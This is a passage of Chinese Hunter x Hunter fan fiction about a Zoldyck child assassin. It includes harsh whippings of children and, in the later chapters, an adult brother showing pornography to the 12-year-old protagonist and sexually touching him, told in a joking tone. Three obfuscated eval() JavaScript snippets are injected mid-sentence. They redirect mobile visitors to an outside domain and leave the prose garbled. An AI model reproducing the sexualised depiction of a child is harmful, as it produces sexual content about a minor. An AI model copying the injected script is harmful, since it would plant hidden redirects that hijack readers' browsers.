揍敌客的家主从来只传给白发的孩子，象征着最强的潜力，所以像伊洛林这样的根本没有血缘关系的，谁都没担心过他可能会把血统变成揍敌客。 除非伊洛林嫁给他们家的任何一个，并且用男人的身体生孩子。 但是这怎么可能呢？ 没有可能的事情就不要多想了。 视线落在伊尔迷身上的时候，伊尔迷不知道该高兴一下还是该不高兴一下，他想说不同意，但伊洛林的眼睛亮晶晶，想到那个吻，想到这孩子从小的乖巧听话，支持两个字从自己嘴里吐出来的时候，伊尔迷艰难的就像把自己的钱拱手让人一样。 令人不爽的格蕾西，想要把她杀掉…… 伊洛林侧身看着伊尔迷，眼睛湿漉漉的，像是他们之间的隔阂也消除了些许一般。 “谢谢你，大哥。” ……好吧，也没有什么不好的，就是把他看得再紧一些，奇犽那边也紧一些，这样就足够了。 这种不爽的情绪大概就是自己从小养大的猫，乖乖软乎乎的，听话懂事从不伸爪子，却为了一个小玩具对自己龇牙哈气，心里会难受是正常的。至于什么，和玩具结婚，开玩笑吗，伊洛林不可能和格蕾西结婚。 糜稽表示支持，伊洛林高兴才是第一，奇犽也支持，虽然我没朋友，但是不妨碍我弟弟有朋友啊，作为我们家唯一一个有朋友的人，伊洛林是世界之光啊！ 柯特绷了半天，实在不想被伊洛林讨厌，以壮烈牺牲的感觉说出了支持。 席巴看着这一群心思各异的孩子，他开口时，所有人都看向他。 “既然全票通过，那么……除了伊洛林和伊尔迷，其余人回自己房间吧。” 桀诺离开时经过了伊洛林的身边，他摸了摸伊洛林的发顶，伊洛林敞开手臂时也配合地弯腰。不得不说，这是他第一次被小孩亲，以他的地位，哪怕是最不怕他的糜稽都没有亲近过他，桀诺捏了一把伊洛林的面颊，心里想等下给他这个最乖的小孙子转点零花钱，谁说非亲生的不好，这可太好了。 最后大厅里只剩下他们三个。 席巴看着伊洛林，伊洛林看着他，几秒钟后伊洛林犹豫着，贴过去，也给了他的父亲一个面颊吻。 “谢谢爸爸。” 他们家的人似乎都很不擅长把需求说出口，更擅长去做。 想要贴心小棉袄的亲亲就直接说啦！这么看着人真的很恐怖的啊，daddy！ 25. 25 “最近发生的事情，你们也都看到了。” 席巴开门见山，他抱起年仅十岁的孩子让他坐在自己的腿上，而伊尔迷坐在他身侧，拉着伊洛林的手，此刻揍敌客家两位权力最顶端的男人都在伊洛林身边，他脑子飞快地闪过一句什么梗，然后被利落地掐断。 “伊洛林，我知道你很疑惑，但是现在并不是为你解释的时候，你只需要记住，从今天开始，你得待在家里。” 席巴安抚性拍了拍伊洛林的腿，那孩子茫然至极，不知道为什么是自己，但不论怎么想，他都猜不出来为什么是自己。自己有什么地方不太对吗？哪里被人盯上了呢？需要花费一千名猎人那么多的…… “爸爸，有个投诚的，想成为我们家的佣人。” 伊尔迷补充了一句：“我会先询问他，得到答案之后，再去查证。或许，是什么别的原因。” 这话半真半假。毕竟他们两个心知肚明，这件事本身就是冲着伊洛林来的，他忘记了，但还有很多人记得，而这些人全部都是曾经的知情人。他们揍敌客家从不参与外面的事情，但那一年，年幼的伊尔迷拥有了一个多余的想法，给揍敌客家带回了一个多余的人，他被选择成为了多出来的那个家人。 没有血缘关系，甚至算得上有仇的，家人。 他们耐心培养着伊洛林，想看看他最后能结出什么样的果实，给自己的长子带来什么样的教训，却在不知不觉间，每个人都对伊洛林上了心。 这孩子纯粹，这孩子不受污染，他哪怕站在血污里，也不妨碍他眼底的清澈。 他被伊尔迷训练，被家族训练，染成各种各样的色彩。 但他此刻在席巴的怀里，依旧是懵懂的模样。 一个没有私心的孩子，终于生出了一点私心，于是他们也纵容着这点私心，要她生根发芽。 伊洛林张了张嘴：“可是，格蕾西……” “我会让伊尔迷去告诉她，你的通信可以正常进行。”席巴没有命令，只是用这种商量的口吻说道：“柯特需要你，伊洛林，你难道要放自己的弟弟在家里不管不顾吗？妈妈也会疲惫，伊尔迷忙碌，糜稽只能照顾自己，奇犽还有很重的担子。爸爸希望你能够为家庭分担责任，你做得到吗？” 伊洛林下意识认真起来，他点头，很确信自己可以：“好的，爸爸，那……哥哥审讯之后要告诉我结果吧？那个人看起来，真的很讨人厌。” 他思考了几秒，补充道。 “不知道为什么，看着他就有些……不高兴。” 伊尔迷看着自己掌心的，属于伊洛林的手，这么小，又柔软，他开始笑，用手指轻轻捏着伊洛林的手掌心，语气像是蛊惑：“伊洛林讨厌他的话，要不要杀了他？” “……不可以，不是任务！”伊洛林干巴巴挤出来这句话。 “嗯，哥哥会带你出最后一次任务。你可以在这个任务结束之后，再去找一次格蕾西。” 伊尔迷宽宏大量，语气也随即压低。 “但是作为代价，你在十二岁以前，都不能出揍敌客家的门。” 这算是给刚刚的条件补上了奖励。 伊洛林眼睛亮起来，他说着谢谢大哥，看到伊尔迷挽起鬓发将脸凑过来，下意识亲了一下他的面颊，席巴闷笑出声，他把伊洛林交给伊尔迷，意有所指说道：“注意安全。” “好的，爸爸。” 伊尔迷十分清楚。 接下去，他大概会派出很多人来追杀伊洛林吧……今天不出手，是在忌惮附近的自己，他喜欢在暗处做事，才会表现得像个见不得光的人。 伊洛林下意识讨厌那家伙，却并不讨厌自己。伊尔迷心情大好。 果然，他们出的任务遭遇到了一点麻烦，不过伊尔迷是故意没有提点的，他带着伊洛林去做任务也是专门为了引出背后的人，将家中的线人引出来，也为了看看伊洛林的应对能力。 伊洛林在被能力者冲散的时候隐藏了起来，他并没有担心伊尔迷的安危，毕竟这些人如果能够威胁到伊尔迷，那自己也差不多能去地狱里报到了。 他看似放弃了任务，实际上寸寸紧逼，用了隐，悄无声息地跟随，提前进入了他们的安全房。 他杀了任务之外的人。 手指沾染着鲜血，溅射到脸上的黏稠血液还带着令人作呕的腥味，伊洛林的手重新变回了普通正常的模样，他从安全房的通风管道撤离，努力不去回想自己一口气杀了那么多个人的时候，心底的一点痛苦。他是杀手，他要做的就是完成任务，他必须坚持下去，才能够不侮辱自己的家族。 他不可以害怕，不可以恐惧，不可以厌恶，不可以痛苦。 ……格蕾西。 好想见你，格蕾西…… 回过神来的时候伊洛林已经跑出了很远，他发消息给伊尔迷报平安，顺着小路很快到达了天空竞技场，这次的任务地点相距并不远，这是好事。 伊洛林上了两百层，当他站在门口建设心理活动时，格蕾西的声音却在背后响起来。 “林洛？” 伊洛林回头，而格蕾西看清楚他的样子时微微瞪大了眼睛。 他的半张脸隐藏在黑暗里，脸上的血迹已经干涸了，手指甲的缝隙里还残留着血痂，刚刚上来的时候电梯小姐还以为他受了重伤，问他是否需要治疗，他胸口的血也已经干透了，这件衣服不能再要，毕竟他不想要沾过血的衣服。 “我没有受伤，我是来找你的。” 伊洛林眨了眨眼睛，他跟着格蕾西进门，用她的毛巾擦脸，洗手，把自己弄得干净了一些。 “你好狼狈，出什么事了？你大哥呢？” 格蕾西紧跟在他身后，用湿纸巾擦去了伊洛林长发上凝固的血。 “我刚刚出了个任务，有点意外发生，所以多杀了几个人……”伊洛林稍微有些心虚：“如果我和大哥一样强大就好了，那样我就不会差点失败了。我以后会努力的，别担心我。” 他耐心解释了现在自己和揍敌客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035568|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的状况，有些愧疚地表示自己近期不能再出来，是伊尔迷给了他这个机会。“我不想牵连你，所以你自己也要保护好自己……” 格蕾西不知为何，笑容有些勉强。 “知道了，有西索在，他们不敢对我怎么样的。” 她犹豫了下，轻轻同伊洛林十指相扣：“你……你怕不怕呀，杀人的时候，我是说，一开始……你怕不怕？” 伊洛林张了张嘴，他想要说不怕，不想给格蕾西惹不高兴，可话到嘴边。看着格蕾西的眼睛，声音又渐渐低了下去：“这都是没办法的呀……格蕾西，我，我一开始吐得很厉害，因为我要学会怎么一下子杀掉他们，后来就好多了。我不会再痛苦了，因为我已经习惯了。” 可是痛苦怎么会因为习惯就变得可以理解呢？ 她不觉得这样很好，她不觉得伊洛林现在很好。 “格蕾西……别哭呀，我真的没事的。” 他用指腹轻轻擦去格蕾西的眼泪，声音温柔又具有安抚性：“我和你说哦，爸爸他们都答应了我跟你做朋友，以后你可以来我家里玩，我把他们介绍给你。你看，他们对我很好的！” 可是什么样的家庭才会连交朋友都需要同意？ 可是看着伊洛林幸福的眼睛，她又说不出那些话来。 她知道的，伊洛林很想有个家，他想要有爱着自己的父母和兄弟，他梦里想着念着，对于家的渴望，对于爱的渴望。伊洛林心里，他现在是得偿所愿了吧？一叶障目，捂着眼睛就以为能够看不见其余的东西了。 她觉得血管里流动着的液体都变得冰凉。 “好。”格蕾西听见自己的声音：“我会去你家的，到时候，你一定要，好好地和我介绍你家里的人啊！” “嗯！” 他们抱了一会儿，伊洛林的手机震动了两下，他看了一眼，是时间到了，伊尔迷说在门口等他。 “我们下次再见？” “嗯，下次见！” 格蕾西望着伊洛林跑出去的背影，眼神慢慢坚定。 今天她和西索不欢而散，因为她战斗的时候开始犹豫，甚至在最后并没有下杀手。西索很不满意，他需要的是格蕾西进入战斗状态时，像以前一样感受到战斗的快乐，而不是像今天一样，瞻前顾后，软弱不堪。西索笑意吟吟，问她是否是因为伊洛林，真可惜，伊洛林恐怕比你要强硬得多。 她不接受，回到房间，却看见了这样的伊洛林。 西索说得很对，不是吗。 如果她想要保护伊洛林，就绝对不能手软，已经染血了的双手，又凭什么奢望还能够保持纯粹？ 他们回不去了。 他们两个都，回不去了。 伊洛林拉着伊尔迷的手，他们走在夜色里，吹着夜风的长发慢慢飞舞起来。 “大哥，下次我一定会做得更好。” “你一直都做得很好。” 伊尔迷答道，他唇角轻轻一勾，不知为何，他在笑。 26. 26 奇犽又一次被惩罚了。 身为揍敌客的成员，他的情绪太外露，喜怒哀乐，讨厌还是喜欢，都太明显了。 父母给予他最高的期望，想将他驯养成一潭死水，让他冷酷无情，让他出色优秀，但奇犽做不到。他不高兴时便不笑眼角眉梢冷冷上扬，像只猫一般不肯低头。 鞭子抽打，吊在半空，他熟练接受自己的惩罚，并学会了嘴甜且乖巧地认错，然后死性不改。 杀人太无聊，掠夺生命太无趣，厌恶手掌心里流淌着的血，如果这辈子就这么过去那真是一眼望到头。他满身伤痕地盘腿坐在地上，看着自己的弟弟为自己上药。这里就剩他们两个，因为糜稽打完了就离开，堪称这辈子每次用体力最多的时候就是在打奇犽的时候。 “哥哥……疼不疼？”伊洛林低垂下眼睫，他越长大，容貌越盛，泪痣点缀在眼尾，稚嫩与妩媚混杂，他有一双温和的下垂眼，因为教育问题总是维持着冷漠的表情，此刻却流露出了心疼的情绪。奇犽抬手摸了摸他软乎乎的头发，手指轻轻勾了一绺长发在指尖捏了捏——他弟弟怎么越长大越像女孩子了。 “不疼，这点小伤而已！” 他们已经十二岁了，这一年多里训练又提升了。 奇犽对训练无所谓，他最不喜欢的是伊尔迷带着他出任务，言语上的压迫让他心情烦躁，每天备受生命威胁也让他觉得家庭并不美好。这冰冷的家庭，老爸压迫感十足，老妈每天尖叫疯狂，大哥毫无人性直接碾压，二哥觉得看他不如看二次元美少女，柯特每天都在阴暗的角落里偷看，剩下的温暖也就剩下这个弟弟。 “伊洛林，哥哥去哪儿，你都跟着，是不是？” 奇犽突然说道，他问这句话的时候心里已经有了打算。 他也知道伊洛林很痛苦，那段时间的食不下咽和反胃让伊洛林瘦得可怕，是大哥让佣人们买回来一堆营养剂加在饮料里，伊洛林每天得喝三大杯难喝得要死的饮料，才维持住身体基本所需。如果他真的一点也吃不下，大哥就会亲自喂他吃，不多，但是伊洛林吃得很艰难。 伊洛林适应的是身体本能，而奇犽则是适应无聊。 所以奇犽觉得，伊洛林应该也很想逃跑吧。 和自己一起从这个家里跑出去，他们可以去很多地方，去世界的各个角落里，自由自在，不用再天天杀人，不用再日日训练，把老爸老妈丢到一旁去，让大哥也找不到他们！ 可伊洛林紧张地看着他，攥紧了他的袖子。 “哥哥，你又要离家出走？爸爸和大哥找你轻而易举……” “伊洛林，你听我说！”奇犽套上衣服，兴致勃勃地压低声音凑到弟弟耳边去：“我听说了一种猎人考试，猎人就是很厉害的职业，可以把我们全家都抓来卖钱呢！” 伊洛林哽住了。 这真是孝出强大…… “也要把我卖掉吗？” 伊洛林举起双手做投降：“哥哥，不要把我卖掉，我吃得很少，下雨会自己回家，不会在地上捡东西吃……” “笨蛋！我怎么会卖掉你啦！” 奇犽勾着他的脖颈，两个人凑在一起，相视而笑。 还好这个家里还有伊洛林陪着他，否则就真的是无聊透顶了！他们对伊洛林的要求不知为何比较低，或许是因为伊洛林的潜力也比较低，或许是因为别的他不知道的原因，总之真是羡慕伊洛林啊！ “哥哥，我不支持你哦。” 伊洛林很清楚，他们两个人就算是联手也没办法逃出伊尔迷的手掌心，虽然他确实能够答应和奇犽一起，他去哪里自己就去哪里，但是被抓回来应该会被狠狠地教训一顿啦。 最让他犹豫的其实是伊尔迷。 前面家里本来准备要给自己准备一间单独的房间，毕竟他十多岁还和哥哥睡一张床，怎么想都不太好，可房间准备好了，伊尔迷却不太愿意，他说着自己会寂寞，把下巴压在伊洛林的肩膀上，伊洛林对大哥难以拒绝，所以还是没搬走。两边都有他的生活用品，想要过去睡也就几步路而已，但伊洛林迄今为止在自己房间睡觉的时间还是一只手能数。 大哥的占有欲超强，控制欲也霸道，如果他知道自己和奇犽一起跑了，惩罚肯定特别特别厉害。 说不定会突破承受的新上限呢…… “但是，如果你偷偷跑，一定不要告诉我你去了哪里，不然大哥问我的话，我不会说谎的。” 奇犽狠狠揉乱了伊洛林的头发。 “你给我做诱饵，拦住大哥！” “诶——那还不如趁着大哥出门做任务的时候？” “那不就是……” 今天？ 奇犽一跃而起，真是天助我也，最近刚好有一场猎人考试！ 伊洛林左顾右盼，没地方可以藏，于是捂住眼睛。 “那个……奇犽哥，我数一百个数哦，你藏起来我来抓你！” 他弟弟真是天才！ 一，二，三。 奇犽迅速回房间换好衣服拿着滑板开溜。 二十七、二八、二九。 他在长廊上遇见了母亲和二哥。 五十六、五七、五八。 他推开了揍敌客家的大门。 九十八、九九、一百。 伊洛林睁开眼，面前空空荡荡，他在心里祈祷这一次奇犽能够多玩两天，慢一点点被家人发现带回来。因为奇犽很喜欢去外面玩嘛。说起来，猎人考试啊……伊洛林掏出手机，格蕾西的碎碎念还在上面，说西索去年考试发神经杀考官，被取消考试资格，今年考试不仅自己要去，还要把她带上，服了他这个脑子有病的。 伊洛林：猎人考试很难吗？ 格蕾西：不知道，应该挺简单的吧，你们家都有一千个猎人杀进去了，那这玩意儿不就是大白菜吗？ 伊洛林：不一定啦！那你加油考试哦！ 格蕾西发了个ok的表情包。 伊洛林终于从训练房里走出去，来来往往的佣人行色匆匆，他走到基裘的房间里去，柯特正安静地给她递上伤药。基裘露出一张漂亮的面庞，伊尔迷很像她，于是可以窥见她的容貌是怎样的漂亮，此刻脸上却有狰狞的伤口，伊洛林瞳孔微缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035569|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，三步并作两步上前。 “妈妈？这是……这是奇犽哥做的吗？” “伊洛林！！”基裘看见他，伸手将他搂在怀里，高分贝的声音冲破云霄：“奇犽他…他居然成长为了这样冷酷的人，他对着妈妈都下手了！没有任何留情面！啊啊啊……妈妈真的太开心了，妈妈的奇犽成长了！！” “可是……可是……”伊洛林伸手，小心翼翼触碰那伤口周围的肌肤：“妈妈，你的脸……奇犽哥怎么会……” 他以为奇犽就是跑出去，这还是第一次动手。 柯特补了一句：“二哥也受伤了，在治疗中。” 柯特那时候也并没有拦着奇犽的打算，毕竟第一打不过，第二他喜欢这个哥哥，哥哥想做的事情就去做就好了，他遵从揍敌客家的家训，对比自己强大的人臣服。 基裘敷好药膏，缠上绷带，她伸出指尖轻轻掐了一把伊洛林的面颊。 “去看看哥哥，然后……伊洛林，你必须受到惩罚！” “……好的，妈妈。” 伊洛林立刻转身向糜稽房间走去。 糜稽最近又胖了一些，已经有点不健康了，爸爸和爷爷正盘算着让他减肥，毕竟杀手可不能沉重啊，虽然二哥极有可能是个灵活的技术宅，但是基本的健康还是要保证的。 “二哥，对不起。” 糜稽躺在床上，他想着自己真是倒霉了八百年，但是奇犽那家伙真是可恶啊！！一眼就知道了，伊洛林肯定是假装没看见地放走了奇犽，毕竟他们两个关系好，但是……可恶，可恶，可恶！他居然伤害家里人，他根本没有把家训放在心上！这家伙不是合格的杀手，他想要的东西在这里根本就没有！ 眼见着二哥陷入纠结与疯狂里，伊洛林更加内疚了，他或许应该想个偷偷让奇犽走的办法，而不是这样…… “伊洛林……你不能学他！你不能学他！！” 糜稽的伤口还在溢血，他抓住伊洛林的肩膀，努力让自己平复情绪，可是歇斯底里的状态与基裘如出一辙。 伊洛林左右为难。 不是，学什么，学奇犽哥跟你们动手啊？怎么可能……伊洛林把糜稽按回去：“二哥，你好好休息，不要再动了！我给你买你喜欢的角色周边，好不好？” 糜稽安静了，糜稽泪眼蒙眬地目送伊洛林出去接受惩罚。 他的钱都买了周边和电脑，花在了研究上，奇犽的钱都贡献给了零食，这家里最有钱的孩子是大哥，第二个就是伊洛林，柯特最近才开始赚钱，伊洛林给他买，岂不是买得特别好！嘿嘿，被奇犽伤一下其实也不错嘛……伊洛林肯定帮他买好多好东西…… 伊洛林头疼至极，给奇犽发消息。 伊洛林：我再也不理你了！ 伊洛林：生气鼓脸.jpg 奇犽：sorry——我亲爱的弟弟！ 奇犽：但是不这样我出不来嘛，我们每天训练的伤也很疼啊，让他们感受一下不是挺好的嘛？ 奇犽：好啦好啦，你哥我去玩咯！ 啊啊啊，没良心的奇犽哥！伊洛林认命了。 27. 27 伊尔迷收到消息回家时，伊洛林已经在惩罚室待了三个多小时。 漆黑的惩罚室是为他量身定做的。 他怕黑，怕孤独，怕安静，于是家里人制定了这个安静的偏僻而黑暗的房间，伊尔迷轻轻推开门，听见伊洛林在哼歌，他似乎已经完全习惯了自己一个人，唱着陌生的旋律，是伊尔迷从未听过的曲子。 他不喜欢，伊洛林身上出现新的东西。 新事物代表着改变，改变代表着伊洛林有了超出他预期的事情，那么就意味着，挣脱掌控。 微微亮光倾泻入室内，伊洛林的歌声停止了，他适应了几秒阳光，才出声喊了一句大哥，伊尔迷摁开了灯，伊洛林仅剩一条裤衩子，挂在架子上，身上是被抽打过的痕迹，伤口狰狞向外翻卷，干涸的血迹定格在肌肤上。伊洛林眨了眨眼，乖得不像话。 “妈妈亲手惩罚的吗？” “嗯。”伊洛林一般都是由伊尔迷亲手惩罚，而那一次因为伊尔迷给他开念而受惩罚，他在一旁看完了全过程，眼泪直掉，止不住地落下来，抽噎着不让父亲继续鞭打，但席巴还是打完了全程，被自己宠爱的小孩冷落了两天才慢慢恢复。伊洛林对伊尔迷的依赖他们有目共睹，所以基裘插手才是奇怪的。 “妈妈也是太生气了。” 当然更多的是太高兴。 伊尔迷也觉得不错，这孩子是在成长，虽然伤害了家人，但是总算是为了目的不择手段了。揍敌客家的人有通病，他不在意伊洛林的意愿，糜稽利用亚路嘉得到最新款的电脑，柯特总是在让伊洛林更爱自己一些，而伊洛林才是他们这里没有目的的人。 没有目的，就不好，不像活着的人。 “我知道的，是我不好，没有阻拦奇犽哥。”不仅没有阻拦，甚至还助纣为虐了。伊洛林吐吐舌头。但是他伤害妈妈和二哥都不是自己的想法，所以他会同等地不高兴。 伊尔迷摸了摸他的手，冰凉得有些僵硬了。 伊洛林畏冷，冬天总是缩在自己怀里，长大了可怎么办呢。 “再忍一忍，哥哥给你带来甜甜圈。” “谢谢大哥。” 伊洛林冲着伊尔迷轻笑。 他已经会对伊尔迷笑了，这是一件好事，果然，只要把他关在家里，他就会明白自己的良苦用心啊。 伊尔迷拿起长鞭，轻轻一挥，鞭子抽打过空气发出破空声，紧接着的是抽打到皮肤的皮肉声，与此同时响起的是伊洛林的闷哼声。他轻轻一抖，全身的肌肉都绷紧了，不论怎么训练，还是会有反应，奇犽就成熟多了，他绝对不会露出一点疼痛的痕迹。或许会嘴上说疼吧，但是实际上奇犽的疼说得很敷衍，连糜稽都骗不过。 “伊洛林，不要撒娇。” “好的，大哥……嗯嗯……” 伊洛林咬住牙关。他忍耐着疼痛，像从前的每一次一样，昏暗的灯光与门口流淌的日光都是一种鼓励，他任凭这份惩罚被延长，这是他放纵奇犽的代价。 柯特是臣服于强者，而他是知情不报。 不同概念，不能一概而论。 时间缓缓流逝，直到伊洛林身上再也找不到一块好皮肉，这次的惩罚才落下帷幕。疼你，爱你，所以罚你，爱之深，责之切，这是家人对你的期望。你要学会坚强，学会冷漠，学会漠视自己身上的一切伤害，冷静判断接下来的任何一件事情。 伊洛林，你要强大。 伊洛林的呼吸终于放轻了些许，他被从架子上放下来，踉跄两步穿上裙子，两条光洁细嫩的腿也遍布伤痕，他会给家人上药，但家人从来觉得这点伤太过没必要。 伊尔迷顿了顿，他蹲下身，掀起弟弟的裙子，仔细看了眼那伤疤纵横交错的程度，从怀里拿出药膏来。 他看见弟弟的眼睛一瞬间瞪大了些许。 这是第一次，所以他很惊讶。 伊洛林僵硬提着裙摆，他总觉得哪里不太对，耳根子滚烫火热，兄长的指腹蹭过伤口疼的能让人倒吸一口凉气，可是他连呼吸都不敢，只能拘谨的换着气。他想说停下，想说不要，可是却又没有任何理由，稍有一些的软肉被摁得下压，所剩无几的好皮上分不清是肌肤变成粉色还是血液沾染着污浊痕迹。 “脱掉吧。” “哥哥也会学着给你上药的。” 伊洛林敞开衣襟，解开时比刚刚不着片缕地吊着还要有些奇怪，明明已经习惯了赤诚相待，却不知为何这样褪下时感觉想要逃跑。兄长强壮的身躯如同一座山，黑沉沉压下来沉甸甸的沉重感，他抿着唇，感受他的手掌抹开一片冰凉膏药，冰凉刺激着身躯，又是疼痛在提示着神经末梢，他颤抖着，分不清缘由，十二岁的孩子初长成，只用脊背面对兄长。他背薄，蝶骨凸出，像要生出羽翼飞走，兄长用他的体温化开了膏药，手掌一寸寸经过，他拼命克制住逃走的冲动，长发遮挡住面颊与通红的耳廓，他的羞耻太明显，明显的不像是兄弟之间普通的亲近。 “怎么了？为什么要害羞。” “……不，没什么事。” 他应当习惯，同床共枕，共同沐浴。 他不应该露出这样的表情，因为现在的他是男孩，没有女性的任何特征，只是一个男孩。 他颤抖着重新穿好衣服，一步一步走了出去。 伊尔迷望着他的背影，突兀意识到，这个年纪的孩子初次知晓了一些东西也正常，他们家这种基础也只科普到了奇犽，还没轮到伊洛林。是否要提上日程呢？ 把奇犽看过的那一套拿给他看吧。 也是这个年纪了，怪不得已经知道害羞和回避了，时间真快，那样一个婴儿已经长大了。 那么那把剑，什么时候才会落下呢。 落下的时候，他又会是什么表情呢？ 伊尔迷并不期待，他抗拒，但毫无办法。揍敌客可以一手遮天的地方有限，孩子长大了，会生出羽翼，会拥有眼界，他不会永远做井底之蛙。 伊洛林，到时候你的选择，又会是什么呢。 伊洛林其实没有受到多少训斥，他们那点伎俩还不够看的，象征性的惩罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035570|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过后这事就揭过了，而伊尔迷在饭桌上提出来，奇犽似乎是向着猎人考试去了，他现在考这个还没必要，恰好伊尔迷要去考一个猎人证，能顺路把人带回来。 “伊洛林，你也去考一个。” 席巴下了决定，毕竟伊洛林已经有了念，去考一个猎人证也方便她后续的任务。更何况，如果那边的人要动伊洛林，也要多考虑一层猎人协会的势力。 “好的，爸爸。” 伊洛林没什么意见，甚至还挺高兴，这样一来他不就能跟格蕾西见面了吗？好想知道她现在的样子，好想见她。 “嗯——这样的话，伊洛林，自己找到猎人考场，是能做到的吧？” 伊尔迷提高了难度。 他确实有些不想伊洛林去考试，因为西索带上了格蕾西。 “我会努力的，大哥。” 柯特抬眼转了一圈，继续沉默吃自己的饭。糜稽还负伤，不能来吃饭，基裘却已经无事发生似的坐着吃饭了，甚至还让伊洛林多留意一下奇犽的考试。 他们一致认为，奇犽现在考猎人证是没用的行为，完全是浪费的。 务必让奇犽失败。 伊洛林心中不知是为了奇犽难过还是为了他悲哀，但是家里的想法也并非一个孩子能够扭转的，更何况还是除了他和奇犽，全票通过的否决。 伊洛林晚上泡澡的时候还龇牙咧嘴，泡完澡又被好好地上了一次药，而这一次他努力把自己当成是一具尸体，终于抵制住那种被触碰身体地想要逃跑的反应，但是伊尔迷说，来看看一点你该看的学习片。 伊洛林疑惑，抱着学习的态度看，他看见两个人啵嘴。 他看见两个人脱衣服。 他窜出去又被伊尔迷拦住，好心好意摁在原地，让他坐在坐垫上继续看。 “不用害羞，这个年纪都应该看。” 不，不对，他才十二岁！十二岁不是应该看这个的年纪！！ 伊洛林闭着眼睛也能听见声音，他慌得像是整个人都不是自己的，哀求伊尔迷关掉，不要看了，这个东西自己一个人看还能看下去，怎么会有人真的在大人的陪同下观看啊！！ “一男一女的不喜欢？”伊尔迷疑惑。 “两个男的也有。” 伊洛林失声。 他像一句话被掐断在喉咙里，结结巴巴说不出来，喉结滚动两下，狼狈得像条狗。 “不…我、你……这……” 这不太对啊！！ 伊尔迷真的开始放两个男的了！！ 伊洛林僵硬在原地，硬着头皮看完了进展，听见伊尔迷庆幸的声音：“还好不需要两个女孩子呢，这个我可没有。” 不，你千万不要有！ “伊洛林，你喜欢男孩子吗。” 伊洛林咬着牙关，他的声音像是拉锯一样，充满了无奈。 “我……” “我喜欢……” “沃尔玛塑料袋……” 虽然不知道这是什么东西但是就这么说吧！！ 28. 28 第二天早晨，伊洛林躲着伊尔迷，这情况太少见，等他迅速出门之后，席巴难免问了一句发生什么事了。 “昨晚上实验了一下他是不是真的喜欢男生。” 这句突如其来的话差点让席巴呛着，糜稽筷子都掉了，柯特缓缓抬起头。基裘作为母亲，只问了一个关键性的问题：“你是怎么确认的？” 伊尔迷撩起自己的长发。 他已经成长为一名成熟的男性，身姿挺拔如松，交叠双腿时轻松而沉稳，长发顺着他的面颊垂落，眼眸里读不出情绪，是他们希望的完美杀手最好的模样，而伊尔迷望着他们，语气平稳：“我摸了他。” 柯特不小心握折了筷子，他马上就松开了手，将这点情绪藏起来，而没有人去分他一点视线，因为藏着情绪是他们的必修课，柯特还需要再努力。 “有反应，也很激动，还给了我一巴掌。” 虽然并不疼就是了，连留下的巴掌印都在天亮前消退了。不过能对哥哥动手这件事，真是令人欣慰的成长呢。伊尔迷不自觉勾了勾唇，他笑起来时三毛也会匍匐在地，瑟瑟发抖，可伊尔迷并不觉得有什么需要掩饰的地方，大大方方说出口。 “如果他迟早要知道，那么不是还有一条路可以走吗。” 席巴打断了他：“伊尔迷，说这些为时尚早。”他们虽然有所调查，但因为猎人协会始终没有表态与参与，所以没有任何进展，能够确认的是本以为的第一受害者其实是第三方。 “那么，就是只能看这一次了啊。” 他们望着目标越来越近，亲手开门，迎接达摩克利斯之剑掉落的那一天。 柯特并不懂他们说的话是什么意思，他也不需要懂。 只是看着母亲的眼角有泪水滑落，第一次，母亲没有激动地拔高音调，而是充满幸福地感叹道：“那孩子…那孩子要做出的选择……真是让人激动啊……” 他们的爱，无一例外，都是如此的尖锐。 伊洛林跑出了揍敌客家。 尽管这是他久违的一次出门，也没有感受到多少愉悦的情绪，他更是还没从昨夜的被偷袭里清醒，他睡到一半从梦中惊醒，发现伊尔迷的手…他忍不住红温了，从脸上红到了脚脖子，整个人走路都硬邦邦的，同手同脚。因为太惊世骇俗，所以伊洛林给了伊尔迷一巴掌，但伊尔迷说忍着不好，非要弄完了一次才松手。 肚子上奇怪的感觉还在，他真的没想到这里也能够帮伊尔迷泄火…昨晚上的视觉冲击太刺激，他整个人都要晕过去，被碾压过腹部表层时脑子已经一片空白。 所以他最后还踹了伊尔迷一脚， 下次一定要自己睡觉了……是亲兄弟啊他们！亲兄弟怎么可以做这样的事情！！而且他才十二岁，哥哥真是太过分了，他绝对不要再理他了！！ 急急忙忙跑走的伊洛林捂着脸。 他难以理解伊尔迷的举动，虽然他说是为了检查一下自己是不是真的喜欢男的，可是他怎么也那样啊，那样的话岂不就是哥哥也喜欢男生？他不要啊，他只是，他只是…本来是女孩子而已才对吧！虽然忘记了很多，但是在格蕾西有关的记忆里，自己都拥有女性特征的！！ 上辈子是女孩子吗？呜哇……总之就算是男生也不对啦！！ 